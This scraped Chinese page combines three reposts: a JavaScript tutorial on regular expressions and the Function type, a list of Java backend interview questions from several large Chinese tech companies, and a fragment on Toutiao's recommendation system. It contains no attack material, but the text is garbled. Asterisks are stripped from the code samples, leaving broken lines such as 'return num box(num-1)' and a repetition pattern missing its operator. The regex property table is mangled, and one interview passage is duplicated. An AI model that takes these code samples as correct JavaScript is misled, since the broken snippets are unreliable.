replace(pattern, replacement) 用 replacement 替换 pattern search(pattern) 返回字符串中 pattern 开始位置 split(pattern) 返回字符串按指定 pattern 拆分的数组 // 使用 match 方法获取获取匹配数组var pattern = /box/ig; // 全局搜索var str = 'This is a Box!,That is a Box too';alert(str.match(pattern)); // 匹配到两个 Box,Boxalert(str.match(pattern).length); // 获取数组的长度// 使用 search 来查找匹配数据var pattern = /box/ig;var str = 'This is a Box!,That is a Box too';alert(str.search(pattern)); // 查找到返回位置,否则返回-1 因为 search 方法查找到即返回,也就是说无需 g 全局。 // 使用 replace 替换匹配到的数据var pattern = /box/ig;var str = 'This is a Box!,That is a Box too';alert(str.replace(pattern, 'Tom')); // 将 Box 替换成了 Tom// 使用 split 拆分成字符串数组var pattern = / /ig;var str = 'This is a Box!,That is a Box too';alert(str.split(pattern)); // 将空格拆开分组成数组 RegExp 对象的静态属性 属性 短名 含义 input $_ 当前被匹配的字符串 lastMatch $& 最后一个匹配字符串 lastParen $+ 最后一对圆括号内的匹配子串 leftContext $ 最后一次匹配前的子串 multiline $ 用于指定是否所有的表达式都用于多行的布尔值 rightContext $’ 在上次匹配之后的子串 // 使用静态属性var pattern = /(g)oogle/;var str = 'This is google!';pattern.test(str); // 执行一下alert(RegExp.input); // This is google!alert(RegExp.leftContext); // This isalert(RegExp.rightContext); // !alert(RegExp.lastMatch); // googlealert(RegExp.lastParen); // galert(RegExp.multiline); // false Opera 不支持 input、lastMatch、lastParen 和 multiline 属性。IE 不支持 multiline 属性。所有的属性可以使用短名来操作。RegExp.input 可以改写成 RegExp['$_'],依次类推。但 RegExp.input 比较特殊,它还可以写成 RegExp.$_。 RegExp 对象的实例属性 属性 含义 global Boolean 值,表示 g 是否已设置 ignoreCase Boolean 值,表示 i 是否已设置 lastIndex 整数,代表下次匹配将从哪里字符位置开始 multiline Boolean 值,表示 m 是否已设置 Source 正则表达式的源字符串形式 // 使用实例属性var pattern = /google/ig;alert(pattern.global); // true,是否全局了alert(pattern.ignoreCase); // true,是否忽略大小写alert(pattern.multiline); // false,是否支持换行alert(pattern.lastIndex); // 0,下次的匹配位置alert(pattern.source); // google,正则表达式的源字符串var pattern = /google/g;var str = 'google google google';pattern.test(str); // google,匹配第一次alert(pattern.lastIndex); // 6,第二次匹配的位 以上基本没什么用。并且 lastIndex 在获取下次匹配位置上 IE 和其他浏览器有偏差 ,主要表现在非全局匹配上。lastIndex 还支持手动设置,直接赋值操作。 获取控制 正则表达式元字符是包含特殊含义的字符。它们有一些特殊功能,可以控制匹配模式的方式。反斜杠后的元字符将失去其特殊含义。 字符类:单个字符和数字 元字符/元符号 匹配情况 . 匹配除换行符外的任意字符 [a-z0-9] 匹配括号中的字符集中的任意字符 [^a-z0-9] 匹配任意不在括号中的字符集中的字符 \d 匹配数字 \D 匹配非数字,同[^0-9]相同 \w 匹配字母和数字及_ \W 匹配非字母和数字及_ 字符类:空白字符 元字符/元符号 匹配情况 \0 匹配 null 字符 \b 匹配空格字符 \f 匹配进纸字符 \n 匹配换行符 \r 匹配回车字符 \t 匹配制表符 \s 匹配空白字符、空格、制表符和换行符 \S 匹配非空白字符 字符类:锚字符 元字符/元符号 匹配情况 ^ 行首匹配 $ 行尾匹配 \A 只有匹配字符串开始处 \b 匹配单词边界,词在[]内时无效 \B 匹配非单词边界 \G 匹配当前搜索的开始位置 \Z 匹配字符串结束处或行尾 \z 只匹配字符串结束处 字符类:重复字符 元字符/元符号 匹配情况 x? 匹配 0 个或 1 个 x x 匹配 0 个或任意多个 x x+ 匹配至少一个 x (xyz)+ 匹配至少一个(xyz) x{m,n} 匹配最少 m 个、最多 n 个 x 字符类:替代字符 元字符/元符号 匹配情况 this where 字符类:记录字符 元字符/元符号 匹配情况 (string) 用于反向引用的分组 \1 或$1 匹配第一个分组中的内容 \2 或$2 匹配第二个分组中的内容 \3 或$3 匹配第三个分组中的内容 // 使用点元字符var pattern = /g..gle/; // .匹配一个任意字符var str = 'google';alert(pattern.test(str));// 重复匹配var pattern = /g.gle/; // .匹配 0 个一个或多个var str = 'google'; //,?,+,{n,m}alert(pattern.test(str));// 使用字符类匹配var pattern = /g[a-zA-Z_]gle/; // [a-z]表示任意个 a-z 中的字符var str = 'google';alert(pattern.test(str));var pattern = /g[^0-9]gle/; // [^0-9]表示任意个非 0-9 的字符var str = 'google';alert(pattern.test(str));var pattern = /[a-z][A-Z]+/; // [A-Z]+表示 A-Z 一次或多次var str = 'gOOGLE';alert(pattern.test(str));// 使用元符号匹配var pattern = /g\wgle/; // \w匹配任意多个所有字母数字_var str = 'google';alert(pattern.test(str));var pattern = /google\d/; // \d匹配任意多个数字var str = 'google444';alert(pattern.test(str));var pattern = /\D{7,}/; // \D{7,}匹配至少 7 个非数字var str = 'google8';alert(pattern.test(str));// 使用锚元字符匹配var pattern = /^google$/; // ^从开头匹配,$从结尾开始匹配var str = 'google';alert(pattern.test(str));var pattern = /goo\sgle/; // \s 可以匹配到空格var str = 'goo gle';alert(pattern.test(str));var pattern = /google\b/; // \b 可以匹配是否到了边界var str = 'google';alert(pattern.test(str));// 使用或模式匹配var pattern = /google|baidu|bing/; // 匹配三种其中一种字符串var str = 'google';alert(pattern.test(str));// 使用分组模式匹配var pattern = /(google){4,8}/; // 匹配分组里的字符串 4-8 次var str = 'googlegoogle';alert(pattern.test(str));var pattern = /8(.)8/; // 获取 8..8 之间的任意字符var str = 'This is 8google8';str.match(pattern);alert(RegExp.$1); // 得到第一个分组里的字符串内容var pattern = /8(.)8/;var str = 'This is 8google8';var result = str.replace(pattern,'<strong>$1</strong>'); // 得到替换的字符串输出document.write(result);var pattern = /(.)\s(.)/;var str = 'google baidu';var result = str.replace(pattern, '$2 $1'); // 将两个分组的值替换输出document.write(result); 贪婪 惰性 + +? ? ?? ? {n} {n}? {n,} {n,}? {n,m} {n,m}? // 关于贪婪和惰性var pattern = /[a-z]+?/; // ?号关闭了贪婪匹配,只替换了第一个var str = 'abcdefjhijklmnopqrstuvwxyz';var result = str.replace(pattern, 'xxx');alert(result);var pattern = /8(.+?)8/g; // 禁止了贪婪,开启的全局var str = 'This is 8google8, That is 8google8, There is 8google8';var result = str.replace(pattern,'<strong>$1</strong>');document.write(result);var pattern = /8([^8])8/g; // 另一种禁止贪婪var str = 'This is 8google8, That is 8google8, There is 8google8';var result = str.replace(pattern,'<strong>$1</strong>');document.write(result);// 使用 exec 返回数组var pattern = /^[a-z]+\s[0-9]{4}$/i;var str = 'google 2012';alert(pattern.exec(str)); // 返回整个字符串var pattern = /^[a-z]+/i; // 只匹配字母var str = 'google 2012';alert(pattern.exec(str)); // 返回 googlevar pattern = /^([a-z]+)\s([0-9]{4})$/i; // 使用分组var str = 'google 2012';alert(pattern.exec(str)[0]); // google 2012alert(pattern.exec(str)[1]); // googlealert(pattern.exec(str)[2]); // 2012// 捕获性分组和非捕获性分组var pattern = /(\d+)([a-z])/; // 捕获性分组var str = '123abc';alert(pattern.exec(str));var pattern = /(\d+)(?:[a-z])/; // 非捕获性分组var str = '123abc';alert(pattern.exec(str));// 使用分组嵌套var pattern = /(A?(B?(C?)))/; // 从外往内获取var str = 'ABC';alert(pattern.exec(str));// 使用前瞻捕获var pattern = /(goo(?=gle))/; // goo 后面必须跟着 gle 才能捕获var str = 'google';alert(pattern.exec(str));// 使用特殊字符匹配var pattern = /\.\[\/b\]/; // 特殊字符,用\符号转义即可var str = '.[/b]';alert(pattern.test(str));// 使用换行模式var pattern = /^\d+/mg; // 启用了换行模式var str = '1.baidu\n2.google\n3.bing';var result = str.replace(pattern, '');alert(result); 常用的正则 检查邮政编码 var pattern = /[1-9][0-9]{5}/; // 共 6 位数字,第一位不能为 0var str = '224000';alert(pattern.test(str)); 检查文件压缩包 var pattern = /[\w]+\.zip|rar|gz/; // \w 表示所有数字和字母加下划线var str = '123.zip'; // \.表示匹配.,后面是一个选择alert(pattern.test(str)); 删除多余空格 var pattern = /\s/g; // g 必须全局,才能全部匹配var str = '111 222 333';var result = str.replace(pattern,''); // 把空格匹配成无空格alert(result); 删除首尾空格 var pattern = /^\s+/; // 强制首var str = ' goo gle ';var result = str.replace(pattern, '');pattern = /\s+$/; // 强制尾result = result.replace(pattern, '');alert('|' + result + '|');var pattern = /^\s(.+?)\s$/; // 使用了非贪婪捕获var str = ' google ';alert('|' + pattern.exec(str)[1] + '|');var pattern = /^\s(.+?)\s$/;var str = ' google ';alert('|' + str.replace(pattern, '$1') + '|'); // 使用了分组获取 简单的电子邮件验证 var pattern = /^([a-zA-Z0-9_\.\-]+)@([a-zA-Z0-9_\.\-]+)\.([a-zA-Z]{2,4})$/;var str = 'yc60.com@gmail.com';alert(pattern.test(str));var pattern = /^([\w\.\-]+)@([\w\.\-]+)\.([\w]{2,4})$/;var str = 'yc60.com@gmail.com';alert(pattern.test(str)); 3、Function类型 在 ECMAScript 中,Function(函数)类型实际上是对象。每个函数都是 Function 类型的实例,而且都与其他引用类型一样具有属性和方法。由于函数是对象,因此函数名实际上也是一个指向函数对象的指针。 函数的声明方式 普通的函数声明 function box(num1, num2) {return num1+ num2;} 使用变量初始化函数 var box= function(num1, num2) {return num1 + num2;}; 使用 Function 构造函数 var box= new Function('num1', 'num2' ,'return num1 + num2'); 第三种方式我们不推荐,因为这种语法会导致解析两次代码(第一次解析常规 ECMAScript 代码,第二次是解析传入构造函数中的字符串),从而影响性能。但我们可以通过这种语法来理解"函数是对象,函数名是指针"的概念。 作为值的函数 ECMAScript 中的函数名本身就是变量,所以函数也可以作为值来使用。也就是说,不仅可以像传递参数一样把一个函数传递给另一个函数,而且可以将一个函数作为另一个函数的结果返回。 function box(sumFunction, num) {return sumFunction(num); // someFunction}function sum(num) {return num + 10;}var result = box(sum, 10); // 传递函数到另一个函数里 函数内部属性 在函数内部,有两个特殊的对象:arguments 和 this。arguments 是一个类数组对象,包含着传入函数中的所有参数,主要用途是保存函数参数。但这个对象还有一个名叫 callee 的属性,该属性是一个指针,指向拥有这个 arguments 对象的函数。 function box(num) {if (num <= 1) {return 1;} else {return num box(num-1); // 一个简单的的递归} } 对于阶乘函数一般要用到递归算法,所以函数内部一定会调用自身;如果函数名不改变是没有问题的,但一旦改变函数名,内部的自身调用需要逐一修改。为了解决这个问题,我们可以使用 arguments.callee 来代替。 function box(num) {if (num <= 1) {return 1;} else {return num arguments.callee(num-1); // 使用 callee 来执行自身} } 函数内部另一个特殊对象是 this,其行为与 Java 和 C中的 this 大致相似。换句话说 ,this 引用的是函数据以执行操作的对象,或者说函数调用语句所处的那个作用域。当在全局作用域中调用函数时,this 对象引用的就是 window。 // 便于理解的改写例子window.color = '红色的'; // 全局的,或者 var color = '红色的';也行alert(this.color); // 打印全局的 colorvar box = {color : '蓝色的', // 局部的 colorsayColor : function () {alert(this.color); // 此时的 this 只能 box 里的 color} };box.sayColor(); // 打印局部的 coloralert(this.color); // 还是全局的// 引用教材的原版例子window.color = '红色的'; // 或者 var color = '红色的';也行var box = {color : '蓝色的'};function sayColor() {alert(this.color); // 这里第一次在外面,第二次在 box 里面}getColor();box.sayColor = sayColor; // 把函数复制到 box 对象里,成为了方法box.sayColor(); 函数属性和方法 ECMAScript 中的函数是对象,因此函数也有属性和方法。每个函数都包含两个属性 :length 和 prototype。其中,length 属性表示函数希望接收的命名参数的个数。 function box(name, age) {alert(name + age);}alert(box.length); // 2 对于 prototype 属性,它是保存所有实例方法的真正所在,也就是原型。这个属性 ,我们将在面向对象一章详细介绍。而 prototype 下有两个方法:apply()和 call(),每个函数都包含这两个非继承而来的方法。这两个方法的用途都在特定的作用域中调用函数,实际上等于设置函数体内 this 对象的值。 function box(num1, num2) {return num1 + num2; // 原函数}function sayBox(num1, num2) {return box.apply(this, [num1, num2]); // this 表示作用域,这里是 window} // []表示 box 所需要的参数function sayBox2(num1, num2) {return box.apply(this, arguments); // arguments 对象表示 box 所需要的参数}alert(sayBox(10,10)); // 20alert(sayBox2(10,10)); // 20 call()方法于 apply()方法相同,他们的区别仅仅在于接收参数的方式不同。对于 call()方法而言,第一个参数是作用域,没有变化,变化只是其余的参数都是直接传递给函数的。 function box(num1, num2) {return num1 + num2;}function callBox(num1, num2) {return box.call(this, num1, num2); // 和 apply 区别在于后面的传参}alert(callBox(10,10)); 事实上,传递参数并不是 apply()和 call()方法真正的用武之地;它们经常使用的地方是能够扩展函数赖以运行的作用域。 var color = '红色的'; // 或者 window.color = '红色的';也行var box = {color : '蓝色的'};function sayColor() {alert(this.color);}sayColor(); // 作用域在 windowsayColor.call(this); // 作用域在 windowsayColor.call(window); // 作用域在 windowsayColor.call(box); // 作用域在 box,对象冒充 这个例子是之前作用域理解的例子修改而成,我们可以发现当我们使用 call(box)方法的时候,sayColor()方法的运行环境已经变成了 box 对象里了。 使用 call()或者 apply()来扩充作用域的最大好处,就是对象不需要与方法发生任何耦合关系(耦合,就是互相关联的意思,扩展和维护会发生连锁反应)。也就是说,box 对象和 sayColor()方法之间不会有多余的关联操作,比如 box.sayColor = sayColor;。 本篇文章为转载内容。原文链接:https://blog.csdn.net/gongxifacai_believe/article/details/108286196。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-01-24 13:01:25
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...动参数;CMS算法的过程。 Volatile关键字有什么用(包括底层原理) 线程池的调优策略 Spring cloud的服务注册与发现是怎么设计的? 分布式系统的全局id如何实现 分布式锁的方案,redis和zookeeper那个好,如果是集群部署,高并发情况下那个性能更好。 1.2 Java中间件二面 技术二面考察范围: 问了项目相关的技术实现细节 数据库相关:索引、索引底层实现、mysql相关的行锁、表锁等 redis相关:架构设计、数据一致性问题 容器:容器的设计原理等技术 二面题目: 参与的项目,选一个,技术难度在哪里? Collections.sort底层排序方式 负载均衡的原理设计模式与重构,谈谈你对重构的理解 谈谈redis相关的集群有哪些成熟方案? 再谈谈一致hash算法(redis)? 数据库索引,B+树的特性和建树过程 Mysql相关的行锁,表锁;乐观锁,悲观锁 谈谈多线程和并发工具的使用 谈谈redis的架构和组件 Redis的数据一致性问题(分布式多节点环境&单机环境) Docker容器 1.3 Java中间件三面 技术三面考察范围: 主要谈到了高并发的实现方案 以及中间件:redis、rocketmq、kafka等的架构设计思路 最后问了平时怎么提升技术的技术 三面题目 高并发情况下,系统是如何支撑大量的请求的? 接着上面的问题,延伸到了中间件,kafka、redis、rocketmq、mycat等设计思路和适用场景等 最近上过哪些技术网站;最近再看那些书。 工作和生活中遇见最大的挑战,怎么去克服? 未来有怎样的打算 1.4 Java中间件四面 最后,你懂的,主要就是HR走流程了,主要问了未来的职业规划。 02 头条Java后台3面 2.1 头条一面 讲讲jvm运行时数据库区 讲讲你知道的垃圾回收算法 jvm内存模型jmm 内存泄漏与内存溢出的区别 select、epool 的区别?底层的数据结构是什么? mysql数据库默认存储引擎,有什么优点 优化数据库的方法,从sql到缓存到cpu到操作系统,知道多少说多少 什么情景下做分表,什么情景下做分库 linkedList与arrayList区别 适用场景 array list是如何扩容的 volatile 关键字的作用?Java 内存模型? java lock的实现,公平锁、非公平锁 悲观锁和乐观锁,应用中的案例,mysql当中怎么实现,java中的实现 2.2 头条二面 Java 内存分配策略? 多个线程同时请求内存,如何分配? Redis 底层用到了哪些数据结构? 使用 Redis 的 set 来做过什么? Redis 使用过程中遇到什么问题? 搭建过 Redis 集群吗? 如何分析“慢查询”日志进行 SQL/索引 优化? MySQL 索引结构解释一下?(B+ 树) MySQL Hash 索引适用情况?举下例子? 2.3 头条三面 如何保证数据库与redis缓存一致的Redis 的并发竞争问题是什么? 如何解决这个问题? 了解 Redis 事务的 CAS 方案吗? 如何保证 Redis 高并发、高可用? Redis 的主从复制原理,以及Redis 的哨兵原理? 如果让你写一个消息队列,该如何进行架构设计啊?说一下你的思路。 MySQL数据库主从同步怎么实现? 秒杀模块怎么设计的,如何压测,抗压手段 03 今日头条Java后台研发三面 3.1 一面 concurrent包下面用过哪些? countdownlatch功能实现 synchronized和lock区别,重入锁thread和runnable的区别 AtomicInteger实现原理(CAS自旋) java并发sleep与wait、notify与notifyAll的区别 如何实现高效的同步链表 java都有哪些加锁方式(synchronized、ReentrantLock、共享锁、读写锁等) 设计模式(工厂模式、单例模式(几种情况)、适配器模式、装饰者模式) maven依赖树,maven的依赖传递,循环依赖 3.2 二面 synchronized和reentrantLock的区别,synchronized用在代码快、方法、静态方法时锁的都是什么? 介绍spring的IOC和AOP,分别如何实现(classloader、动态代理)JVM的内存布局以及垃圾回收原理及过程 讲一下,讲一下CMS垃圾收集器垃圾回收的流程,以及CMS的缺点 redis如何处理分布式服务器并发造成的不一致OSGi的机制spring中bean加载机制,bean生成的具体步骤,ioc注入的方式spring何时创建- applicationContextlistener是监听哪个事件? 介绍ConcurrentHashMap原理,用的是哪种锁,segment有没可能增大? 解释mysql索引、b树,为啥不用平衡二叉树、红黑树 Zookeeper如何同步配置 3.3 三面 Java线程池ThreadPoolEcecutor参数,基本参数,使用场景 MySQL的ACID讲一下,延伸到隔离级别 dubbo的实现原理,说说RPC的要点 GC停顿原因,如何降低停顿? JVM如何调优、参数怎么调? 如何用工具分析jvm状态(visualVM看堆中对象的分配,对象间的引用、是否有内存泄漏,jstack看线程状态、是否死锁等等) 描述一致性hash算法 分布式雪崩场景如何避免? 再谈谈消息队列 04 抖音Java 三面 4.1 一面: hashmap,怎么扩容,怎么处理数据冲突? 怎么高效率的实现数据迁移? Linux的共享内存如何实现,大概说了一下。 socket网络编程,说一下TCP的三次握手和四次挥手同步IO和异步IO的区别? Java GC机制?GC Roots有哪些? 红黑树讲一下,五个特性,插入删除操作,时间复杂度? 快排的时间复杂度,最坏情况呢,最好情况呢,堆排序的时间复杂度呢,建堆的复杂度是多少 4.2 二面: 自我介绍,主要讲讲做了什么和擅长什么 设计模式了解哪些? AtomicInteger怎么实现原子修改的? ConcurrentHashMap 在Java7和Java8中的区别? 为什么Java8并发效率更好?什么情况下用HashMap,什么情况用ConcurrentHashMap? redis数据结构? redis数据淘汰机制? 4.3 三面(约五十分钟): mysql实现事务的原理(MVCC) MySQL数据主从同步是如何实现的? MySQL索引的实现,innodb的索引,b+树索引是怎么实现的,为什么用b+树做索引节点,一个节点存了多少数据,怎么规定大小,与磁盘页对应。 如果Redis有1亿个key,使用keys命令是否会影响线上服务? Redis的持久化方式,aod和rdb,具体怎么实现,追加日志和备份文件,底层实现原理的话知道么? 遇到最大困难是什么?怎么克服? 未来的规划是什么? 你想问我什么? 05 百度三面 5.1 百度一面 自我介绍 Java中的多态 为什么要同时重写hashcode和equals Hashmap的原理 Hashmap如何变线程安全,每种方式的优缺点 垃圾回收机制 Jvm的参数你知道的说一下 设计模式了解的说一下啊 手撕一个单例模式 手撕算法:反转单链表 手撕算法:实现类似微博子结构的数据结构,输入一系列父子关系,输出一个类似微博评论的父子结构图 手写java多线程 手写java的soeket编程,服务端和客户端 手撕算法: 爬楼梯,写出状态转移方程 智力题:时针分针什么时候重合 5.2 百度二面(现场) 自我介绍 项目介绍 服务器如何负载均衡,有哪些算法,哪个比较好,一致性哈希原理,怎么避免DDOS攻击请求打到少数机器。 TCP连接中的三次握手和四次挥手,四次挥手的最后一个ack的作用是什么,为什么要time wait,为什么是2msl。 数据库的备份和恢复怎么实现的,主从复制怎么做的,什么时候会出现数据不一致,如何解决。 Linux查看cpu占用率高的进程 手撕算法:给定一个数字三角形,找到从顶部到底部的最小路径和。每一步可以移动到下面一行的相邻数字上。 然后继续在这个问题上扩展 求出最短那条的路径 递归求出所有的路径 设计模式讲一下熟悉的 会不会滥用设计模式 多线程条件变量为什么要在while体里 你遇到什么挫折,怎么应对和处理 5.3 百度三面(现场) 自我介绍 项目介绍 Redis的特点 Redis的持久化怎么做,aof和rdb,有什么区别,有什么优缺点。 Redis使用哨兵部署会有什么问题,我说需要扩容的话还是得集群部署。 说一下JVM内存模型把,有哪些区,分别干什么的 说一下gc算法,分代回收说下 MySQL的引擎讲一下,有什么区别,使用场景呢 分布式事务了解么 反爬虫的机制,有哪些方式 06 蚂蚁中间件团队面试题 6.1 蚂蚁中间件一面: 自我介绍 JVM垃圾回收算法和垃圾回收器有哪些,最新的JDK采用什么算法。 新生代和老年代的回收机制。 讲一下ArrayList和linkedlist的区别,ArrayList与HashMap的扩容方式。 Concurrenthashmap1.8后的改动。 Java中的多线程,以及线程池的增长策略和拒绝策略了解么。 Tomcat的类加载器了解么 Spring的ioc和aop,Springmvc的基本架构,请求流程。 HTTP协议与Tcp有什么区别,http1.0和2.0的区别。 Java的网络编程,讲讲NIO的实现方式,与BIO的区别,以及介绍常用的NIO框架。 索引什么时候会失效变成全表扫描 介绍下分布式的paxos和raft算法 6.2 蚂蚁中间件二面 你在项目中怎么用到并发的。 消息队列的使用场景,谈谈Kafka。 你说了解分布式服务,那么你怎么理解分布式服务。 Dubbo和Spring Clound的区别,以及使用场景。 讲一下docker的实现原理,以及与JVM的区别。 MongoDB、Redis和Memcached的应用场景,各自优势 MongoDB有事务吗 Redis说一下sorted set底层原理 讲讲Netty为什么并发高,相关的核心组件有哪些 6.3 蚂蚁中间件三面 完整的画一个分布式集群部署图,从负载均衡到后端数据库集群。 分布式锁的方案,Redis和Zookeeper哪个好,如果是集群部署,高并发情况下哪个性能更好。 分布式系统的全局id如何实现。 数据库万级变成亿级,你如何来解决。 常见的服务器雪崩是由什么引起的,如何来防范。 异地容灾怎么实现 常用的高并发技术解决方案有哪些,以及对应的解决步骤。 07 京东4面(Java研发) 7.1 一面(基础面:约1小时) 自我介绍,主要讲讲做了什么和擅长什么 springmvc和spring-boot区别 @Autowired的实现原理 Bean的默认作用范围是什么?其他的作用范围? 索引是什么概念有什么作用?MySQL里主要有哪些索引结构?哈希索引和B+树索引比较? Java线程池的原理?线程池有哪些?线程池工厂有哪些线程池类型,及其线程池参数是什么? hashmap原理,处理哈希冲突用的哪种方法? 还知道什么处理哈希冲突的方法? Java GC机制?GC Roots有哪些? Java怎么进行垃圾回收的?什么对象会进老年代?垃圾回收算法有哪些?为什么新生代使用复制算法? HashMap的时间复杂度?HashMap中Hash冲突是怎么解决的?链表的上一级结构是什么?Java8中的HashMap有什么变化?红黑树需要比较大小才能进行插入,是依据什么进行比较的?其他Hash冲突解决方式? hash和B+树的区别?分别应用于什么场景?哪个比较好? 项目里有个数据安全的,aes和md5的区别?详细点 7.2 二面(问数据库较多) 自我介绍 为什么MyISAM查询性能好? 事务特性(acid) 隔离级别 SQL慢查询的常见优化步骤? 说下乐观锁,悲观锁(select for update),并写出sql实现 TCP协议的三次握手和四次挥手过程? 用到过哪些rpc框架 数据库连接池怎么实现 Java web过滤器的生命周期 7.3 三面(综合面;约一个小时) 自我介绍。 ConcurrentHashMap 在Java7和Java8中的区别?为什么Java8并发效率更好?什么情况下用HashMap,什么情况用ConcurrentHashMap? 加锁有什么机制? ThreadLocal?应用场景? 数据库水平切分,垂直切分的设计思路和切分顺序 Redis如何解决key冲突 soa和微服务的区别? 单机系统演变为分布式系统,会涉及到哪些技术的调整?请从前面负载到后端详细描述。 设计一个秒杀系统? 7.4 四面(HR面) 你自己最大优势和劣势是什么 平时遇见过什么样的挑战,怎么去克服的 工作中遇见了技术解决不了的问题,你的应对思路? 你的兴趣爱好? 未来的职业规划是什么? 08 美团java高级开发3面 8.1 美团一面 自我介绍 项目介绍 Redis介绍 了解redis源码么 了解redis集群么 Hashmap的原理,增删的情况后端数据结构如何位移 hashmap容量为什么是2的幂次 hashset的源码 object类你知道的方法 hashcode和equals 你重写过hashcode和equals么,要注意什么 假设现在一个学生类,有学号和姓名,我现在hashcode方法重写的时候,只将学号参与计算,会出现什么情况? 往set里面put一个学生对象,然后将这个学生对象的学号改了,再put进去,可以放进set么?并讲出为什么 Redis的持久化?有哪些方式,原理是什么? 讲一下稳定的排序算法和不稳定的排序算法 讲一下快速排序的思想 8.2 美团二面 自我介绍 讲一下数据的acid 什么是一致性 什么是隔离性 Mysql的隔离级别 每个隔离级别是如何解决 Mysql要加上nextkey锁,语句该怎么写 Java的内存模型,垃圾回收 线程池的参数 每个参数解释一遍 然后面试官设置了每个参数,给了是个线程,让描述出完整的线程池执行的流程 Nio和IO有什么区别 Nio和aio的区别 Spring的aop怎么实现 Spring的aop有哪些实现方式 动态代理的实现方式和区别 Linux了解么 怎么查看系统负载 Cpu load的参数如果为4,描述一下现在系统处于什么情况 Linux,查找磁盘上最大的文件的命令 Linux,如何查看系统日志文件 手撕算法:leeetcode原题 22,Generate Parentheses,给定 n 对括号,请- 写一个函数以将其生成新的括号组合,并返回所有组合结果。 8.3 美团三面(现场) 三面没怎么问技术,问了很多技术管理方面的问题 自我介绍 项目介绍 怎么管理项目成员 当意见不一致时,如何沟通并说服开发成员,并举个例子 怎么保证项目的进度 数据库的索引原理 非聚簇索引和聚簇索引 索引的使用注意事项 联合索引 从底层解释最左匹配原则 Mysql对联合索引有优化么?会自动调整顺序么?哪个版本开始优化? Redis的应用 Redis的持久化的方式和原理 技术选型,一个新技术和一个稳定的旧技术,你会怎么选择,选择的考虑有哪些 说你印象最深的美团点评技术团队的三篇博客 最近在学什么新技术 你是怎么去接触一门新技术的 会看哪些书 怎么选择要看的书 最后 由于篇幅限制,小编在此截出几张知识讲解的图解,有需要的程序猿(媛)可以点赞后戳这里免费领取全部资料获取哦 子 怎么保证项目的进度 数据库的索引原理 非聚簇索引和聚簇索引 索引的使用注意事项 联合索引 从底层解释最左匹配原则 Mysql对联合索引有优化么?会自动调整顺序么?哪个版本开始优化? Redis的应用 Redis的持久化的方式和原理 技术选型,一个新技术和一个稳定的旧技术,你会怎么选择,选择的考虑有哪些 说你印象最深的美团点评技术团队的三篇博客 最近在学什么新技术 你是怎么去接触一门新技术的 会看哪些书 怎么选择要看的书 最后 由于篇幅限制,小编在此截出几张知识讲解的图解,有需要的程序猿(媛)可以点赞后戳这里免费领取全部资料获取哦 [外链图片转存中…(img-SFREePIJ-1624074891834)] [外链图片转存中…(img-5kF3pkiC-1624074891834)] [外链图片转存中…(img-HDVXfOMR-1624074891835)] [外链图片转存中…(img-RyaAC5jy-1624074891836)] [外链图片转存中…(img-iV32C5Ok-1624074891837)] 本篇文章为转载内容。原文链接:https://blog.csdn.net/m0_57285325/article/details/118051767。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-11-13 23:43:59
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...于storm集群实时处理样本数据,包括点击、展现、收藏、分享等动作类型。 模型参数服务器是内部开发的一套高性能的系统,因为头条数据规模增长太快,类似的开源系统稳定性和性能无法满足,而我们自研的系统底层做了很多针对性的优化,提供了完善运维工具,更适配现有的业务场景。 目前,头条的推荐算法模型在世界范围内也是比较大的,包含几百亿原始特征和数十亿向量特征。 整体的训练过程是线上服务器记录实时特征,导入到Kafka文件队列中,然后进一步导入Storm集群消费Kafka数据,客户端回传推荐的label构造训练样本,随后根据最新样本进行在线训练更新模型参数,最终线上模型得到更新。 这个过程中主要的延迟在用户的动作反馈延时,因为文章推荐后用户不一定马上看,不考虑这部分时间,整个系统是几乎实时的。 但因为头条目前的内容量非常大,加上小视频内容有千万级别,推荐系统不可能所有内容全部由模型预估。 所以需要设计一些召回策略,每次推荐时从海量内容中筛选出千级别的内容库。召回策略最重要的要求是性能要极致,一般超时不能超过50毫秒。 召回策略种类有很多,我们主要用的是倒排的思路。离线维护一个倒排,这个倒排的key可以是分类,topic,实体,来源等。 排序考虑热度、新鲜度、动作等。线上召回可以迅速从倒排中根据用户兴趣标签对内容做截断,高效的从很大的内容库中筛选比较靠谱的一小部分内容。 二、内容分析 内容分析包括文本分析,图片分析和视频分析。头条一开始主要做资讯,今天我们主要讲一下文本分析。文本分析在推荐系统中一个很重要的作用是用户兴趣建模。 没有内容及文本标签,无法得到用户兴趣标签。举个例子,只有知道文章标签是互联网,用户看了互联网标签的文章,才能知道用户有互联网标签,其他关键词也一样。 另一方面,文本内容的标签可以直接帮助推荐特征,比如魅族的内容可以推荐给关注魅族的用户,这是用户标签的匹配。 如果某段时间推荐主频道效果不理想,出现推荐窄化,用户会发现到具体的频道推荐(如科技、体育、娱乐、军事等)中阅读后,再回主feed,推荐效果会更好。 因为整个模型是打通的,子频道探索空间较小,更容易满足用户需求。只通过单一信道反馈提高推荐准确率难度会比较大,子频道做的好很重要。而这也需要好的内容分析。 上图是今日头条的一个实际文本case。可以看到,这篇文章有分类、关键词、topic、实体词等文本特征。 当然不是没有文本特征,推荐系统就不能工作,推荐系统最早期应用在Amazon,甚至沃尔玛时代就有,包括Netfilx做视频推荐也没有文本特征直接协同过滤推荐。 但对资讯类产品而言,大部分是消费当天内容,没有文本特征新内容冷启动非常困难,协同类特征无法解决文章冷启动问题。 今日头条推荐系统主要抽取的文本特征包括以下几类。首先是语义标签类特征,显式为文章打上语义标签。 这部分标签是由人定义的特征,每个标签有明确的意义,标签体系是预定义的。 此外还有隐式语义特征,主要是topic特征和关键词特征,其中topic特征是对于词概率分布的描述,无明确意义;而关键词特征会基于一些统一特征描述,无明确集合。 另外文本相似度特征也非常重要。在头条,曾经用户反馈最大的问题之一就是为什么总推荐重复的内容。这个问题的难点在于,每个人对重复的定义不一样。 举个例子,有人觉得这篇讲皇马和巴萨的文章,昨天已经看过类似内容,今天还说这两个队那就是重复。 